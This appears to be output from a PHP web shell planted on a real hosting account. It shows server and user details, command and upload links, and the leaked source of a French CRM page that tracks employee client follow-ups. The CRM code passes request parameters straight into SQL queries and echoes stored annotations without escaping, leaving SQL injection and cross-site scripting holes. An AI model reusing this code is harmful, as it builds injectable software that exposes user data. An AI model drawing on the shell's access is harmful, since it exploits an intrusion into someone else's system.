|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// $client_id =10230;
if(isset($_GET['salarie_id']) && $_GET['salarie_id'] > 0)
$salarie_idd = $salarie_id = $_GET['salarie_id'];
function selection_suivi ($suivi_id=0, $name='',$salarie_id=0) {
$str='<select class="form-control select2" style="width: 100%;" name="'.$name.'">';
$suivi = dbi_query("SELECT suivi_intitule, suivi_id FROM suivi WHERE suivi_id NOT IN (SELECT suivi_id FROM client_suivi WHERE inter_id = '".$salarie_id."' AND suivi_parent_id = '0' ) ORDER BY suivi_ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_id'].'"'.($a['suivi_id']==$suivi_id?' selected="selected"':'').'>'.$a['suivi_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
function selection_biais ($suivi_biais=0, $name='') {
$str='<select name="'.$name.'">';
$suivi = dbi_query("SELECT suivi_biais_intitule, suivi_biais_id FROM suivi_biais ORDER BY suivi_biais_ordre") ;
while ($a = dbi_fetch_row($suivi))
{
$str.='<option value="'.$a['suivi_biais_id'].'"'.($a['suivi_biais_id']==$suivi_biais?' selected="selected"':'').'>'.$a['suivi_biais_intitule'].'</option>';
}
$str.='</select>';
return $str;
}
function getPostDateH ()
{
return date("Y-m-d H:i:s");
// return sprintf('%3$04d-%2$02d-%1$02s %4$02s:%5$02s:%6$02s', $_POST[$name.'day'], $_POST[$name.'month'], $_POST[$name.'year'], $_POST[$name.'_heure'], $_POST[$name.'_minute'], $_POST[$name.'_seconde']) ;
}
if(isset($_POST['suivi_id']) && isset($_POST['nouveau_suivi']))
{
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$date=getPostDateH();
dbi_query("INSERT INTO client_suivi (client_id, suivi_date, suivi_id,inter_id,suivi_parent_id,client_suivi_clos)
VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."', '".$_POST['salarie_id']."','0','0')");
}
if(isset($_POST['suivi_id']) && isset($_POST['nouvelle_action_suivi']))
{
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$date=getPostDateH();
dbi_query("INSERT INTO client_suivi
(client_id, suivi_date, suivi_id,suivi_biais_id, suivi_parent_id, annotation,Admin_ID, inter_id, suivi_programme, client_suivi_clos)
VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."','".$_POST['suivi_biais_id']."', '".$_POST['suivi_parent_id']."', '".nl2br($_POST['suivi_annotation'])."', '".$_POST['user_id']."', '".$_POST['salarie_id']."', '1','0')");
// dbi_query("INSERT INTO client_suivi (client_id, suivi_date, suivi_id,inter_id,client_suivi_id,client_suivi_clos)
// VALUES ('".$_POST['client_id']."', '$date', '".$_POST['suivi_id']."', '".$_POST['salarie_id']."','0','0')");
}
// function dateDifference($date1, $date2)
// {
// $first = DateTime::createFromFormat('m/d/Y', $date1);
// $second = DateTime::createFromFormat('m/d/Y', $date2);
// if($date1 > $date2) return week_between_two_dates($date2, $date1);
// return floor($first->diff($second)->days/7);
// }
// $days = array(0 s=> 'sunday', 1 => 'monday', 2 => 'tuesday', 3 => 'wednesday', 4 => 'thursday', 5 => 'friday', 6 => 'saturday');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>LogMCPRO | Suivis</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- fullCalendar -->
<link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Daterange picker -->
<link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
.task-single-col-right {
background: #f0f5f7;
padding: 13px 20px;
border-bottom-right-radius: 6px;
}
@media (min-width: 992px)
.col-md-4 {
width: 33.33333333%;
}
@media (min-width: 992px)
.col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9 {
float: left;
}
@media (min-width: 992px)
.col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9 {
float: left;
}
.col-lg-1, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-sm-1, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-xs-1, .col-xs-10, .col-xs-11, .col-xs-12, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9 {
position: relative;
min-height: 1px;
padding-right: 15px;
padding-left: 15px;
}
.staff-profile-image-small {
height: 64px;
width: 64px;
border-radius: 50%;
}
img {
vertical-align: middle;
}
img {
border: 0;
}
.task-single-col-right {
background: #f0f5f7;
padding: 13px 20px;
border-bottom-right-radius: 6px;
}
.task-single-col-left {
padding: 25px;
background: #fff;
border-bottom-left-radius: 6px;
}
.btn-group-vertical>.btn-group:after, .btn-group-vertical>.btn-group:before, .btn-toolbar:after, .btn-toolbar:before, .clearfix:after, .clearfix:before, .container-fluid:after, .container-fluid:before, .container:after, .container:before, .dl-horizontal dd:after, .dl-horizontal dd:before, .form-horizontal .form-group:after, .form-horizontal .form-group:before, .modal-footer:after, .modal-footer:before, .modal-header:after, .modal-header:before, .nav:after, .nav:before, .navbar-collapse:after, .navbar-collapse:before, .navbar-header:after, .navbar-header:before, .navbar:after, .navbar:before, .pager:after, .pager:before, .panel-body:after, .panel-body:before, .row:after, .row:before {
display: table;
content: " ";
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li class="nav-item d-none d-sm-inline-block">
<a href="index.php" class="nav-link">Accueil</a>
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link">Lien 1</a>
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link">Lien 2</a>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-lg-3">
<?php $sal = dbi_fetch_row(dbi_query( "SELECT * FROM salarie where salarie_id = $salarie_id " )) ; ?>
<div class="info-box">
<span class="info-box-icon bg-primary"><i class="far fa-user"></i></span>
<div class="info-box-content">
<h2><span class="title"><?php echo $sal['salarie_nom'].' '.$sal['salarie_prenom'];?></span></h2>
<p><span class="title"><?php echo $sal['salarie_adr1'] ;?></span></p>
</div>
</div>
<!-- BARRE DE NAVIGATION DU CLIENT -->
<?php include('menu_salarie.php'); ?>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<!-- /.col -->
<div class="col-lg-9">
<div class="modal fade" id="myModal1" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch1" ></div>
</div>
</div>
</div>
<div class="modal fade" id="myModal2" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch2" ></div>
</div>
</div>
</div>
<div class="card card-outline card-success">
<div class="card-header">
<h3 class="card-title"><b><i class='far fa-clock'> Ajouter Un Suivi</i></b></h3>
<div class="card-tools">
<button type="button" class="btn btn-tool" data-card-widget="collapse"><i class="fas fa-minus"></i>
</button>
</div>
<!-- /.card-tools -->
</div>
<!-- /.card-header -->
<div class="card-body">
<form action="" method="POST">
<input type="hidden" id="salarie_id" name="salarie_id" value="<?php echo $salarie_id ;?>"/>
<div class="form-row">
<div class="form-group col-md-5">
<label>Type de suivi </label>
<div class="input-group">
<?php echo selection_suivi(0,'suivi_id',$salarie_id) ;?>
</div>
</div>
<div class="form-group col-md-5"><!-- Liste déroulante jour -->
<label>Client concerné </label>
<select class="form-control select2" style="width: 100%;" name="client_id" id="client_id">
<option value="0" selected="selected" >-- Client --</option>
<?php $req =dbi_query("SELECT * FROM client WHERE client_statut = '1' ORDER BY client_nom ASC") ;
while( $cl=dbi_fetch_row($req)) { ?>
<option value="<?php echo $cl['client_id'] ; ?>" ><?php echo $cl['client_nom']; ?></option>
<?php } ?>
</select>
</div>
<div class="form-group col-md-2">
<label><br/> </label>
<div class="input-group">
<button type="submit" name ='nouveau_suivi' class="btn btn-primary">Ajouter</button>
</div>
</div>
</div>
</form>
<div class="card-body">
<ul class="todo-list ui-sortable" data-widget="todo-list">
</ul>
</div>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
<div class="card card-primary">
<div class="card-body p-0">
<?php
// $bage='badge badge-success';
$sql ="
SELECT client_id, client_nom nom, humeur, suivi_intitule, annotation, suivi_id, inter_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule
FROM client_suivi
LEFT JOIN suivi USING(suivi_id)
LEFT JOIN suivi_biais USING(suivi_biais_id)
LEFT JOIN client c USING(client_id)
WHERE inter_id = '".$salarie_id."' AND suivi_parent_id = '0'
ORDER BY client_suivi_clos ,suivi_date DESC";
$suivi = dbi_query($sql) ;
$i = 1;
$rowcount=mysqli_num_rows($suivi);
if($rowcount > 0)
{
?>
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th colspan='3'>Infos Suivi</th>
</tr>
</thead>
<tbody>
<?php while($Lsuivi=dbi_fetch_row($suivi)) { ?>
<tr>
<td style='text-align: left; vertical-align: middle;'>
<?php
$bage="class ='badge badge-success'";
if( $Lsuivi['client_id'] == 9576)
$bage="class='badge badge-warning'";
echo $i." - <small $bage ><b> <i class='nav-icon fas fa-user'> ".$Lsuivi['nom']." </i></b> </small> <strong> ".$Lsuivi['suivi_intitule'];?></strong>
</td>
<td style='text-align: center; vertical-align: middle;white-space: nowrap;'>
<b><a href="#suivi<?php echo $Lsuivi['client_suivi_id']; ?>" data-toggle="collapse" > <span class="new-checklist-item"><i class="ion ion-clipboard"></i> Voir détails suivi</span> </a> </b>
</td>
<td style='text-align: center; vertical-align: middle;white-space: nowrap;'>
<b><a href="#myModal1" id="custId" data-toggle="modal" data-id="<?php echo $Lsuivi['client_suivi_id']; ?>" > <span class="new-checklist-item"><i class="fa fa-plus-circle"></i> Ajouter action suivi</span> </a></b>
</td>
</tr>
<tr>
<td colspan="3">
<div class="collapse" id="suivi<?php echo $Lsuivi['client_suivi_id']; ?>">
<span style=" display: inline; ">
<ul class="todo-list ui-sortable" data-widget="todo-list">
<?php
// collapse show
$sql1 ="
SELECT client_id, client_nom nom, humeur, suivi_intitule, annotation, suivi_id, inter_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule ,concat(user_nom, ' ', user_prenom) AS user_nom
FROM client_suivi cs
LEFT JOIN suivi USING(suivi_id)
LEFT JOIN suivi_biais USING(suivi_biais_id)
LEFT JOIN client c USING(client_id)
LEFT JOIN users u ON cs.Admin_ID = u.user_id
WHERE suivi_parent_id = '".$Lsuivi['client_suivi_id']."'
ORDER BY client_suivi_clos ,suivi_date DESC";
$suivi1 = dbi_query($sql1) ;
while ($Lsuivi1 = dbi_fetch_row($suivi1))
{
$old_date_timestamp = strtotime($Lsuivi1['suivi_date']);
$suivi_date = date('d/m/Y', $old_date_timestamp);
?>
<li>
<span class="handle ui-sortable-handle">
<div class="custom-control custom-switch">
<input onclick="processForm()" onFocus="Complété" class="custom-control-input" type="checkbox" value="<?php echo $Lsuivi1['client_suivi_id'];?>" name="etat" id="todoCheck<?php echo $Lsuivi1['client_suivi_id'];?>" <?php if($Lsuivi1['client_suivi_clos'] == 1 ) echo 'checked '; ?>>
<label class="custom-control-label" for="todoCheck<?php echo $Lsuivi1['client_suivi_id'];?>"></label>
</div>
</span>
<small class="badge badge-info"><i class="far fa-clock"></i><?php echo ' le '.$suivi_date;?></small>
<small class='badge badge-danger' ><b> <i class='nav-icon fas fa-user'> <?php echo $Lsuivi1['user_nom'] ?> </i></b> </small>
<span><b> <?php echo $Lsuivi1['annotation'] ?> </b></span>
<span><b><a href="#"> <?php echo $Lsuivi1['suivi_biais_intitule'] ?> </a></b></span>
<div class="tools">
<i class="fas fa-edit">
<a href="#myModal2" id="custId" data-toggle="modal" data-id="<?php echo $Lsuivi1['client_suivi_id']; ?>" ><span style="color:#dc3545;"> Modifier </span></a>
</i>
<i class="fas fa-trash-o"></i>
</div>
</li>
<?php
// echo $Lsuivi1['suivi_intitule'].'<br/>';
}
?>
</ul>
</span>
</div>
</td>
</tr>
<?php ++$i;} ?>
</tbody>
</table>
<?php } ?>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- Modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Post Event</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body result">
</div>
</div>
</div>
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- SweetAlert2 -->
<script src="../plugins/sweetalert2/sweetalert2.min.js"></script>
<!-- Toastr -->
<script src="../plugins/toastr/toastr.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- fullCalendar 2.2.5 -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/fullcalendar/main.min.js"></script>
<script src="../plugins/fullcalendar-daygrid/main.min.js"></script>
<script src="../plugins/fullcalendar-timegrid/main.min.js"></script>
<script src="../plugins/fullcalendar-interaction/main.min.js"></script>
<script src="../plugins/fullcalendar-bootstrap/main.min.js"></script>
<script src='../plugins/fullcalendar/locales/fr.js'></script>
<!-- Page script -->
<!-- Page specific script -->
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({
timePicker: true,
timePickerIncrement: 30,
locale: {
format: 'MM/DD/YYYY hh:mm A'
}
})
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Timepicker
$('#timepicker').datetimepicker({
format: 'LT'
})
//Bootstrap Duallistbox
$('.duallistbox').bootstrapDualListbox()
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
$('.my-colorpicker2').on('colorpickerChange', function(event) {
$('.my-colorpicker2 .fa-square').css('color', event.color.toString());
});
$("input[data-bootstrap-switch]").each(function(){
$(this).bootstrapSwitch('state', $(this).prop('checked'));
});
})
</script>
<!-- page script -->
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false
});
});
</script>
<!--
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Date picker
$('#datepicker').datepicker({
autoclose: true
})
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass : 'iradio_minimal-blue'
})
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass : 'iradio_minimal-red'
})
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass : 'iradio_flat-green'
})
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
//Timepicker
$('.timepicker').timepicker({
showInputs: false
})
})</script>
jQuery 3 --
<script src="../../bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 --
<script src="../../bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- Select2 --
<script src="../../bower_components/select2/dist/js/select2.full.min.js"></script>
<!-- InputMask --
<script src="../../plugins/input-mask/jquery.inputmask.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.date.extensions.js"></script>
<script src="../../plugins/input-mask/jquery.inputmask.extensions.js"></script>
<!-- date-range-picker --
<script src="../../bower_components/moment/min/moment.min.js"></script>
<script src="../../bower_components/bootstrap-daterangepicker/daterangepicker.js"></script>
<!-- bootstrap datepicker --
<script src="../../bower_components/bootstrap-datepicker/dist/js/bootstrap-datepicker.min.js"></script>
<!-- bootstrap color picker --
<script src="../../bower_components/bootstrap-colorpicker/dist/js/bootstrap-colorpicker.min.js"></script>
<!-- bootstrap time picker --
<script src="../../plugins/timepicker/bootstrap-timepicker.min.js"></script>
<!-- SlimScroll --
<script src="../../bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- iCheck 1.0.1 --
<script src="../../plugins/iCheck/icheck.min.js"></script>
<!-- FastClick --
<script src="../../bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<!-- Page script
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({ timePicker: true, timePickerIncrement: 30, format: 'MM/DD/YYYY h:mm A' })
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#daterange-btn span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Date picker
$('#datepicker').datepicker({
autoclose: true
})
//iCheck for checkbox and radio inputs
$('input[type="checkbox"].minimal, input[type="radio"].minimal').iCheck({
checkboxClass: 'icheckbox_minimal-blue',
radioClass : 'iradio_minimal-blue'
})
//Red color scheme for iCheck
$('input[type="checkbox"].minimal-red, input[type="radio"].minimal-red').iCheck({
checkboxClass: 'icheckbox_minimal-red',
radioClass : 'iradio_minimal-red'
})
//Flat red color scheme for iCheck
$('input[type="checkbox"].flat-red, input[type="radio"].flat-red').iCheck({
checkboxClass: 'icheckbox_flat-green',
radioClass : 'iradio_flat-green'
})
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
//Timepicker
$('.timepicker').timepicker({
showInputs: false
})
})
</script>
-->
<script type="text/javascript">
$( document ).ready(function() {
// alert('OK');
// $("#salarie_mutuelle").click(function () {
// val=$(this).val();
// if(val==1){
// $("#end").prop('disabled', false);
// }else{
// $("#end").prop('disabled', true);
// }
// });
$('#myModal1').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'suivi_sal_action.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch1').html(data);//Show fetched data from database
}
});
});
$('#myModal2').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
// alert(rowid);
$.ajax({
type : 'post',
url : 'suivi_sal_action_upt.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch2').html(data);//Show fetched data from database
}
});
});
// if ($("#yourCheckboxID").is(":checked")) {
// checkbox is checked
// } else {
// checkbox is not checked
// }
});
</script>
<script type="text/javascript">
// function processForm() {
// var id = $(this).attr("etat").val();
// var id = $('input:checkbox').val();
// var n = $( "input:checkbox:checked" ).length;
// var id = $('input:checkbox').val();
// var c = $(this).is(':checked');
// var n = $(this).("input:checkbox:checked").length;
// var c = 0;
// if ($('input:checkbox').checked == true)
// c = 1;
// var id = $(this).attr('value');
if ($(this).is(':checked'))
alert();
// if ( $(this).$('input:checkbox').prop( "checked" ) )
// c = 1;
// alert(id);
// $.ajax( {
// type: 'POST',
// url: '/ajax/checkbox.php?name=foton',
// data: { checked_box : $('input:checkbox:checked').val()},
// success: function(data) {
// $('#message').html(data);
// }
// } );
// }
</script>
</body>
</html>